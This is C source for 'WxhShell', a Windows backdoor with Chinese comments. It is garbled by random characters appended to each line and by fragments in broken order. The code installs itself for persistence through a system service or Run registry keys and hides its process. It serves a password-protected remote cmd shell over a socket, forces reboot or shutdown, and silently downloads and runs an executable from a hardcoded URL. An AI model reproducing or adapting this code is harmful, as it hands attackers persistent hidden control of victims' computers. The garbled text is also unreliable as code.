    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #uHl  
    else { |cd=7[B  
    closesocket(wsh); hD! 9[Gb  
    ExitThread(0); >$dkA\&p  
    } KM jnY2  
    break; )'Yoii{dSU  
    } IWD21lS  
  // 获取shell %2t#>}If!  
  case 's': { 2i_X{!0}  
    CmdShell(wsh); nH -1,#`g  
    closesocket(wsh); oq3{q  
    ExitThread(0); Ad]oM]  
    break; k}r)I.Lp  
  } )o>1=Y`[z  
  // 退出 ?7CHHk  
  case 'x': { R4P$zB_<2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DA -W =Cc  
    CloseIt(wsh); _E<  
    break; xzjG|"a[GB  
    } 5'hQ6i8  
  // 离开 wc7F45l4  
  case 'q': { Q]NGd 0J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^tY$pPA  
    closesocket(wsh); 96.Vm*/7  
    WSACleanup(); 5*31nMP\  
    exit(1); D|rcSa.M  
    break; <"rckPv_H  
        } &6}] v:  
  } z~+gche>  
  } Qpaan  
E+|r h-M7  
  // 提示信息 ` "JslpN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V- HO_GDo  
} [osm\w49  
  } TDnbX_xC<  
P2^((c  
  return; .ugQH<B  
} ~PAbtY9}U  
<{yQNXf[  
// shell模块句柄 #w:6<$  
int CmdShell(SOCKET sock) b/ dyH  
{ YMEI J}  
STARTUPINFO si; ,H+LE$=  
ZeroMemory(&si,sizeof(si)); ^&-H"jF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZFsJeF'"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q0cr^24/  
PROCESS_INFORMATION ProcessInfo; u]%>=N(^2  
char cmdline[]="cmd"; 'ffOFIz|=I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !NfN16  
  return 0; Rf .b_Y@O  
} L_4Zx sIv  
m&X6a C'[  
// 自身启动模式 o I6o$C  
int StartFromService(void) 3x{2Dhi  
{ FTfejk!  
typedef struct U%,N"]`  
{ o) hQ]d  
  DWORD ExitStatus; 9BM 8  
  DWORD PebBaseAddress; G,J~Ed  
  DWORD AffinityMask; zrJ/Fs+s  
  DWORD BasePriority; s*0PJ\E2  
  ULONG UniqueProcessId; }|7y.*  
  ULONG InheritedFromUniqueProcessId; i`2X[kc  
}   PROCESS_BASIC_INFORMATION; l[J'FR:  
z nc'  
PROCNTQSIP NtQueryInformationProcess; T)NnWEB  
"RF<i3{S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j7M[]/|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &]?X"K  
G$"$k=[  
  HANDLE             hProcess; :W\xZ  
  PROCESS_BASIC_INFORMATION pbi; +#c3Y ;JP  
VY9|8g/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u< ,c  
  if(NULL == hInst ) return 0; Q/ ,j v5  
79svlq=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wqu][Wa[Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uKcwVEu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uM^eoh_  
m% {4  
  if (!NtQueryInformationProcess) return 0; =tv,B3Mo  
1E*No1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %EooGHGF?  
  if(!hProcess) return 0; ~KufSt *  
8C{mV^cn~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =+qtk(p  
V~uH)IMkh7  
  CloseHandle(hProcess); ]$>O--  
i: ZL0nH-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xD(JkOne  
if(hProcess==NULL) return 0; SOI$Mx  
%dMP}k/  
HMODULE hMod; #iOoi9(  
char procName[255]; =nYd|Ok  
unsigned long cbNeeded; :|:Disg  
-H3tBEvoI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (,gpR4O[  
R{5xb  
  CloseHandle(hProcess); v){&g5djl  
f(h nomn  
if(strstr(procName,"services")) return 1; // 以服务启动 G Uf[Dz  
gqje]Zc<  
  return 0; // 注册表启动 lKMOsr@l  
} ;: a>#{N  
@k!J}O K  
// 主模块 oT4A|M  
int StartWxhshell(LPSTR lpCmdLine) fq.ui3lP)  
{ ]i-peBxw  
  SOCKET wsl; `;ofQz4  
BOOL val=TRUE; p. eq N  
  int port=0; Y?(kE` R  
  struct sockaddr_in door; K{}U[@_tS  
A?V[/  
  if(wscfg.ws_autoins) Install(); ER O'{nT&  
swBgV,;   
port=atoi(lpCmdLine); :3s5{s   
>Q$, } `U;  
if(port<=0) port=wscfg.ws_port; 4E`y*Hmzy+  
3Ms ` ajJ  
  WSADATA data; I]"wT2@T;7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s:y~vd(Vi  
KV Vo_9S'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (3DjFT3 w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "eq{_4dL  
  door.sin_family = AF_INET; :@:i*2=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); brA\Fp^  
  door.sin_port = htons(port); 3iHUG^sLW  
eC^UL5>%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 37hs/=x  
closesocket(wsl); JC~L!)f  
return 1; L7*,v5  
} R^PPgE6!$  
gAA2S5th  
  if(listen(wsl,2) == INVALID_SOCKET) { 8,Jjv*  
closesocket(wsl); Une,Y4{u  
return 1; T[}A7a6g_  
} X|}yp|  
  Wxhshell(wsl); /STFXR1@.u  
  WSACleanup(); b]'Uv8fbF  
*{qW7x.6h  
return 0; cnQ;6LtFTz  
c/Fy1Lv\  
} l,n0=Ew  
g-0?8q5T6  
// 以NT服务方式启动 ]d$:R`;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U ~j:b{  
{ 4+ BWHV  
DWORD   status = 0; CbmT aEaP  
  DWORD   specificError = 0xfffffff; /DG+8u  
?v4-<ewD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~s@PP'!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l^ P[nQDH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "<3F[[;~  
  serviceStatus.dwWin32ExitCode     = 0; 6>rgoT)6~  
  serviceStatus.dwServiceSpecificExitCode = 0; mRe BS  
  serviceStatus.dwCheckPoint       = 0; x;&01@m.  
  serviceStatus.dwWaitHint       = 0; UEZnd8  
p5|.E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +FD"8 ^YC  
  if (hServiceStatusHandle==0) return; :Ve>tZeW  
:.863_/  
status = GetLastError(); xV&c)l>}  
  if (status!=NO_ERROR) \K$9r=!(  
{ sN`2"t/s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g.wp }fz  
    serviceStatus.dwCheckPoint       = 0; |JZ3aS   
    serviceStatus.dwWaitHint       = 0; v~f_~v5J!  
    serviceStatus.dwWin32ExitCode     = status; aDrF" j  
    serviceStatus.dwServiceSpecificExitCode = specificError; s}8(__|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /5qeNjI+2  
    return; k[9~Er+  
  } `SdvX n  
Aofk<O!M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f tS^|%p  
  serviceStatus.dwCheckPoint       = 0; @>Y.s6a  
  serviceStatus.dwWaitHint       = 0; &cnciEw1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pCXceNFo  
} +Bg$]~ T  
Lnin;0~{  
// 处理NT服务事件,比如:启动、停止 i3bH^WwE&k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?b?6/_W~R  
{ ({XB,Rm  
switch(fdwControl) h<)YZ[;x  
{ BHoy:Tp  
case SERVICE_CONTROL_STOP: \ 5MD1r}  
  serviceStatus.dwWin32ExitCode = 0; ETt7?,x@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bXSsN\:Y@[  
  serviceStatus.dwCheckPoint   = 0; Af~>}-`a  
  serviceStatus.dwWaitHint     = 0; ZY_aE  
  { F E`4%X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v2OK/W,0  
  } `/ W6, ]  
  return; v|IPus|>  
case SERVICE_CONTROL_PAUSE: _Xs(3V@'}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q"o* \I  
  break; Z>0a?=1[  
case SERVICE_CONTROL_CONTINUE: |;~kHc$W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <SK%W=  
  break; 5 )tDgm  
case SERVICE_CONTROL_INTERROGATE: >3{#S:  
  break; q1rBSlzN  
}; ]q#w97BxiJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ IPel  
} iLQFce7d|&  
L#t^:%   
// 标准应用程序主函数 $ z4JUr!m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5k%Gj T  
{ U/hf?T;  
( (.b&  
// 获取操作系统版本 OvL@@SX |  
OsIsNt=GetOsVer(); K fM6(f:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OZDd  
D<V[:~-o  
  // 从命令行安装 Y^Of  
  if(strpbrk(lpCmdLine,"iI")) Install(); MR=dQc  
EESGU(  
  // 下载执行文件 +<l6!r2Z  
if(wscfg.ws_downexe) { 6wIo95`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XH^X4W  
  WinExec(wscfg.ws_filenam,SW_HIDE); EC`!&Yp+  
} r;>2L'  
gu~JB  
if(!OsIsNt) { rM?O2n  
// 如果时win9x,隐藏进程并且设置为注册表启动 :6}Zo  
HideProc(); 9'$\GN{0  
StartWxhshell(lpCmdLine); 0m3:!#\  
} mP!=&u fcU  
else kGz0`8U Ru  
  if(StartFromService()) Ox| ?  
  // 以服务方式启动 !hMD>B2Z  
  StartServiceCtrlDispatcher(DispatchTable); eo#2n8I>=1  
else j{8;5 ?x  
  // 普通方式启动 Th\w#%'N  
  StartWxhshell(lpCmdLine); @2yoy&IO  
S*aVcyDEP  
return 0; D8OW|wVE  
} 71S~*"O0f  
<0EVq8h  
*5e"suS2  
UyFvj4SU  
=========================================== g2Hz[C(  
A7`+XqG  
aXv[~  
ec8 iZ8h8  
M0jC:*D`"  
=3~5I&  
" 1 N{unS  
%`]&c)&#Z  
#include <stdio.h> c @U\d<{w  
#include <string.h> W"{:|'/v  
#include <windows.h> i1c z+}  
#include <winsock2.h> Quq X4  
#include <winsvc.h> Ihn#GzM?u  
#include <urlmon.h> U"qR6  
QIK;kjr*A3  
#pragma comment (lib, "Ws2_32.lib") buj *L&  
#pragma comment (lib, "urlmon.lib") **,(>4j  
0Z.X;1=  
#define MAX_USER   100 // 最大客户端连接数 MH0xD  
#define BUF_SOCK   200 // sock buffer a)o-6  
#define KEY_BUFF   255 // 输入 buffer B;vpG?s{9  
MvCB|N"qy  
#define REBOOT     0   // 重启 xYLTz8g=  
#define SHUTDOWN   1   // 关机 zfsGf 'U  
=qJlSb  
#define DEF_PORT   5000 // 监听端口 No\3kRB4bi  
KbXENz&C  
#define REG_LEN     16   // 注册表键长度 4MFdhJoN  
#define SVC_LEN     80   // NT服务名长度 IPVD^a ?  
> w-fsL  
// 从dll定义API 'DhH:PR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'K!u}py  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gN/kNck  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IYG,nt !  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o8RVmOXe  
7hzd.  
// wxhshell配置信息 1B0+dxN`  
struct WSCFG { %2 I >0  
  int ws_port;         // 监听端口 v1R  t$[  
  char ws_passstr[REG_LEN]; // 口令 VYo2m  
  int ws_autoins;       // 安装标记, 1=yes 0=no FjU -t/  
  char ws_regname[REG_LEN]; // 注册表键名 a>o]garB+  
  char ws_svcname[REG_LEN]; // 服务名 WC7ltw2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ML!>tCT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yq=rv$.s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |34M.YjA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5/E7@h ,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2lu AF2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %a=^T?8  
it.'.aK4  
}; *[|a $W  
=C(((T.  
// default Wxhshell configuration BO%aCK&  
struct WSCFG wscfg={DEF_PORT, Y& p ~8  
    "xuhuanlingzhe", Hob n{E  
    1, 4!U)a  
    "Wxhshell", lf9mdbm  
    "Wxhshell", }m -A #4.  
            "WxhShell Service", Lz/{ q6>  
    "Wrsky Windows CmdShell Service", 9F "^MzZ  
    "Please Input Your Password: ", xTGdh  
  1, PK&\pkX  
  "http://www.wrsky.com/wxhshell.exe", 4(D1/8  
  "Wxhshell.exe" 1$S`>M%a  
    }; 2v\<MrL  
H/^t]bg,  
// 消息定义模块 sK/Z 'h{|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qn!KL0w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =K;M\_k%y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VBN=xg}  
char *msg_ws_ext="\n\rExit."; G_E \p%L>]  
char *msg_ws_end="\n\rQuit."; DX(!G a  
char *msg_ws_boot="\n\rReboot..."; kQ99{l H,5  
char *msg_ws_poff="\n\rShutdown..."; OnND(YiX  
char *msg_ws_down="\n\rSave to "; 2EC<8}CG  
B1k;!@@1 4  
char *msg_ws_err="\n\rErr!"; }8Yu"P${Y  
char *msg_ws_ok="\n\rOK!"; ..fbRt  
`L m9!?  
char ExeFile[MAX_PATH]; 'E)g )@^  
int nUser = 0; #JYH5:*  
HANDLE handles[MAX_USER]; ?m\? #  
int OsIsNt; K 9tr Iy$v  
VUUE2k;^  
SERVICE_STATUS       serviceStatus; F T$x#>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0x2[*pJ|IW  
1EHL8@.M  
// 函数声明 "KKw\i  
int Install(void); Vv_lBYV  
int Uninstall(void);  V$fn$=  
int DownloadFile(char *sURL, SOCKET wsh); s?7"iE  
int Boot(int flag); 7m.>2U   
void HideProc(void); y[DS$>E  
int GetOsVer(void); oC~+K@S  
int Wxhshell(SOCKET wsl); VT2f\d[Q  
void TalkWithClient(void *cs); mIW/x/I  
int CmdShell(SOCKET sock); Xk9 8%gv  
int StartFromService(void); 'pHxO,vo  
int StartWxhshell(LPSTR lpCmdLine); 7U2?in}?Qi  
/ _! Ed]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +lhnc{;WJv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /2x@Z>  
y7T<Auue`  
// 数据结构和表定义 NI85|*h  
SERVICE_TABLE_ENTRY DispatchTable[] = :I(d-,C  
{ sEHA?UP$<F  
{wscfg.ws_svcname, NTServiceMain}, t8f:?  
{NULL, NULL} >9Z7l63+}  
}; zI$'D|A  
I\<)9`O  
// 自我安装 $6~t|[7:%Y  
int Install(void) P{2j31u`  
{ i'3)5  
  char svExeFile[MAX_PATH]; b6d}<b9#  
  HKEY key; 7qL B9r  
  strcpy(svExeFile,ExeFile); M-/2{F[  
S#b)RpY  
// 如果是win9x系统,修改注册表设为自启动 sf Zb$T J  
if(!OsIsNt) { >^GAfvW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "V <WC"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  NArr2o2  
  RegCloseKey(key); xp F(de  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v!j%<H`NI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eL1)_M;{  
  RegCloseKey(key); w^^8*b<  
  return 0; 9;ie[sU:u  
    } fbW<c`LH  
  } 30b dcDm,  
} l9z{pZ\KM  
else { [8'^"  
NL-V",gI-~  
// 如果是NT以上系统,安装为系统服务 Y'Yu1mH)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ttY[\D&ZS  
if (schSCManager!=0) &HtG&RvQf  
{ *YP:-  
  SC_HANDLE schService = CreateService w3FEX$`_  
  ( R,`3 SW()  
  schSCManager, ltlnXjRUv  
  wscfg.ws_svcname, OWZ;X}x  
  wscfg.ws_svcdisp, e3WEsD+  
  SERVICE_ALL_ACCESS, >">grDX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ss4YeZa  
  SERVICE_AUTO_START, E&;;2  
  SERVICE_ERROR_NORMAL, XB<Q A>dLh  
  svExeFile, ~_|CXPiQ8  
  NULL, `k -|G2  
  NULL, a,eEP43dn  
  NULL, h|.{dv  
  NULL, !X\aZ{}Q  
  NULL kd OIL2T  
  ); N>IkK*v  
  if (schService!=0) BeFXC5-qat  
  { \t]_UNGyW  
  CloseServiceHandle(schService); U nS|""  
  CloseServiceHandle(schSCManager); tja7y"(]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bO+ e?&vQ%  
  strcat(svExeFile,wscfg.ws_svcname); LY2QKjgP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [6CWgQ%Ue  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9P*p{O{_  
  RegCloseKey(key); ~iJ@x;`  
  return 0; #:=*n(GT  
    } h]WW?.   
  } ,p V3O`z  
  CloseServiceHandle(schSCManager); I^m9(L4%  
} I\f\k>;  
} y'_2|5!Qs  
{2LG$x-N%  
return 1; [bjP-pX  
} r85j /YK  
MPMAFs  
// 自我卸载 %:8XZf  
int Uninstall(void) 3K%_wCZ  
{ 7)*QX,4C  
  HKEY key; KMXd  
mW1T4rR'  
if(!OsIsNt) { Hlz$@[$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \J6&Z13Q  
  RegDeleteValue(key,wscfg.ws_regname); r#w.y g4EX  
  RegCloseKey(key); 0}q*s!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *l)}o4-$  
  RegDeleteValue(key,wscfg.ws_regname); cG!dMab(  
  RegCloseKey(key); c3N,P<#  
  return 0; ~8EzK_c  
  } o)M<^b3KO  
} ;O {"\H6  
} Nuaq{cl  
else { V82hk0*j  
(/C 8\}Ox  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s'$3bLcb  
if (schSCManager!=0)  k<  
{ ' BY|7j~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q+dLWFI  
  if (schService!=0) AdWP  
  { Is>~P*2Y=  
  if(DeleteService(schService)!=0) { U,V+qnS  
  CloseServiceHandle(schService); *rmM2{6  
  CloseServiceHandle(schSCManager); $ spk.j  
  return 0; Wux[h8G  
  } uE'Kk8  
  CloseServiceHandle(schService); RP%FMb}nt  
  } LUEZqIf  
  CloseServiceHandle(schSCManager); -EG=}uT['b  
} :_kZkWD5  
} bdHHOpXM  
}r|$\ms  
return 1; `vD.5  
} a7"Aq:IjU  
V(0V$&qipc  
// 从指定url下载文件 N^zFKDJG  
int DownloadFile(char *sURL, SOCKET wsh) TH*}Ja^/  
{ vvF]g.,  
  HRESULT hr; lMe+.P|  
char seps[]= "/"; S^nI=HTm  
char *token; >~})O&t  
char *file; SzyaVBD3  
char myURL[MAX_PATH]; 0lS=-am  
char myFILE[MAX_PATH]; Nq#B4Zx  
]l6niYVB2  
strcpy(myURL,sURL); s/Q8(sF5  
  token=strtok(myURL,seps); n W:Bo#  
  while(token!=NULL) d8&T62Dnd4  
  { j5G=ZI86y  
    file=token; ,YF1* 69  
  token=strtok(NULL,seps); KdC'#$  
  } mJ+mTA5bW  
3+H[S#e:Z  
GetCurrentDirectory(MAX_PATH,myFILE); @j=rS S  
strcat(myFILE, "\\"); /.Jq]"   
strcat(myFILE, file); f}7/UGd  
  send(wsh,myFILE,strlen(myFILE),0); nc;iJ/\4  
send(wsh,"...",3,0); TnJNs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C;']FmK]  
  if(hr==S_OK) VTK +aI  
return 0; /#!1  
else -GYJ)f  
return 1; i)7B :uA  
cN~F32<  
} FLLfTkXdI  
15M!erT  
// 系统电源模块 +Os9}uKf  
int Boot(int flag) t<MO~_`!  
{ bCV_jR+  
  HANDLE hToken; W('V2Z-q  
  TOKEN_PRIVILEGES tkp; &p5^Cjy L  
w6|l ~.$=  
  if(OsIsNt) { Jn"ya^~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6Tsi^((Li  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \%QA)T%  
    tkp.PrivilegeCount = 1; "-g5$v$de  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EKNmXt1 lE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N[;R8S P  
if(flag==REBOOT) { {gI%-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $j/#IzD1D  
  return 0; BB.120v&N  
} drS>~lSxB  
else { 'k/:3?R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *&~ '  
  return 0; |J:m{  
} r)oR `\7  
  }  BF /4  
  else { eJE!\ucS2W  
if(flag==REBOOT) { l4\!J/df  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k<y~n*{_  
  return 0; p:3 V-$4X  
} /g$8JL  
else { ;nKhmcQ4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eHU b4,%P  
  return 0; dUkZ_<5''  
} 7AQv4  
} u^( s0q  
WP !u3\91  
return 1; Bs^p!4=  
} (1)b> 6  
lF~!F<^9  
// win9x进程隐藏模块 G!7A]s>C  
void HideProc(void)  Vsd4;  
{ :"`1}Q  
VlS`m,:{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "=yz}~,  
  if ( hKernel != NULL ) kyr=q-y  
  { D;6C2>U~L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  ](>YjE0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JsDT  
    FreeLibrary(hKernel); UoHNKB73  
  } Gk!CU"`sP  
pd.5  
return; bpdluWS+)  
} rN`-ak  
!r4B1fX  
// 获取操作系统版本 =4K:l}}  
int GetOsVer(void) kg^5D3!2{Q  
{ ]P)2Q!X  
  OSVERSIONINFO winfo; i:7cdhz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `h<>_zpjY  
  GetVersionEx(&winfo); 3]67U}`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X)S4vqf}  
  return 1; Kc+TcC  
  else 0iVeM!bM  
  return 0; 6o~g3{Ow  
} U,Th-oU  
lQG;WVqW  
// 客户端句柄模块 2tZ\/6G<  
int Wxhshell(SOCKET wsl) g&X X@I8+v  
{ N\85fPSMG|  
  SOCKET wsh; )5w#n1  
  struct sockaddr_in client; kcE86Y=|x!  
  DWORD myID; .B{:<;sa  
f9^MLb6)  
  while(nUser<MAX_USER) z;\,Dt  
{ Aq_?8Cd  
  int nSize=sizeof(client); D{M& >.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (VBO1f  
  if(wsh==INVALID_SOCKET) return 1; a#m T@l\  
Xvxj-\ -  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `$yi18F  
if(handles[nUser]==0) GSVLZF'+  
  closesocket(wsh); =r^Pu|  
else G@rV9  
  nUser++; fT5vO.a  
  } 8^hbS%s!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]wEFm;N  
*OHaqe(*  
  return 0; u >[hLXuB  
} '[Bok=$B)  
h&x;#.SYK  
// 关闭 socket LT]YYn($  
void CloseIt(SOCKET wsh) IQ5'4zQg=  
{ r_pZK(G%  
closesocket(wsh); )V9wU1.  
nUser--; }ssL;q  
ExitThread(0); F,@uYMQs  
} pI}6AAs}Z  
OK%d1M^8j  
// 客户端请求句柄 )No>Q :t  
void TalkWithClient(void *cs) QQQN}!xPj  
{ '@WS7`@-y  
Je=k.pO1  
  SOCKET wsh=(SOCKET)cs; <UbLds{+Uo  
  char pwd[SVC_LEN]; h3MZLPe  
  char cmd[KEY_BUFF]; ij02J`w:Ra  
char chr[1]; p s_o:*$l  
int i,j; 7:n OAN}%  
#Wely~  
  while (nUser < MAX_USER) { D}nIF7r2N  
"(vm0@8><  
if(wscfg.ws_passstr) { OVEQ^\Q5D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vd0uI#g%#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .`/6[Zp  
  //ZeroMemory(pwd,KEY_BUFF); c='uyx  
      i=0; '(SqHP|8&g  
  while(i<SVC_LEN) { \{a 64  
kD#hfYs)i  
  // 设置超时 y@Ak_]{b  
  fd_set FdRead; 0t -=*7w%  
  struct timeval TimeOut; #* Iyvx  
  FD_ZERO(&FdRead); )J1xO^tE  
  FD_SET(wsh,&FdRead); /8LTM|(  
  TimeOut.tv_sec=8; SFVqUg3"Z  
  TimeOut.tv_usec=0; E$s?)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,XsBm+Q(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "\rR0V!wA  
E6clVa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _dwJ;j`2  
  pwd=chr[0]; Y#rd' 8  
  if(chr[0]==0xd || chr[0]==0xa) { c<5(c%a  
  pwd=0; r^;1Sm  
  break; oe{,-<yck  
  } u9G  
  i++; (XQ:f|(  
    } {3K`yDF  
:-e[$6}S  
  // 如果是非法用户,关闭 socket %B04|Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y#-~L-J_R  
} quiX "lV(  
@@#(<[S\B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wqas1yL_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P@8S|#LpZ  
)KUEkslR:  
while(1) { 6kdcFcV-]  
7loIjT7  
  ZeroMemory(cmd,KEY_BUFF); m&+V@H  
7o$S6Y;c4  
      // 自动支持客户端 telnet标准   rWN%Tai-  
  j=0; }PxP J$o  
  while(j<KEY_BUFF) { HD;l1W)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %VwkYAgA  
  cmd[j]=chr[0]; \04 (V'`U  
  if(chr[0]==0xa || chr[0]==0xd) { s@pIcNvx  
  cmd[j]=0; |J&=h|-A  
  break; <4jqF 4 W  
  } 'b Kc;\  
  j++; +/!y#&C&*  
    } }cERCS\t  
Z^%aXaf8  
  // 下载文件 Aw=GvCo<  
  if(strstr(cmd,"http://")) { 6}?5Oy_XF2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P/T`q:<H   
  if(DownloadFile(cmd,wsh)) Sj@VOW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sv[$.^mb  
  else S=g E'"LT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }/}eZCaG  
  } *m:'~\[u  
  else { jl,>0 MA  
m4RiF  
    switch(cmd[0]) { KfV& 7yi  
  =|_k a8{?  
  // 帮助 M6"a w6  
  case '?': { O*m9qF<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dS;Ui]/J  
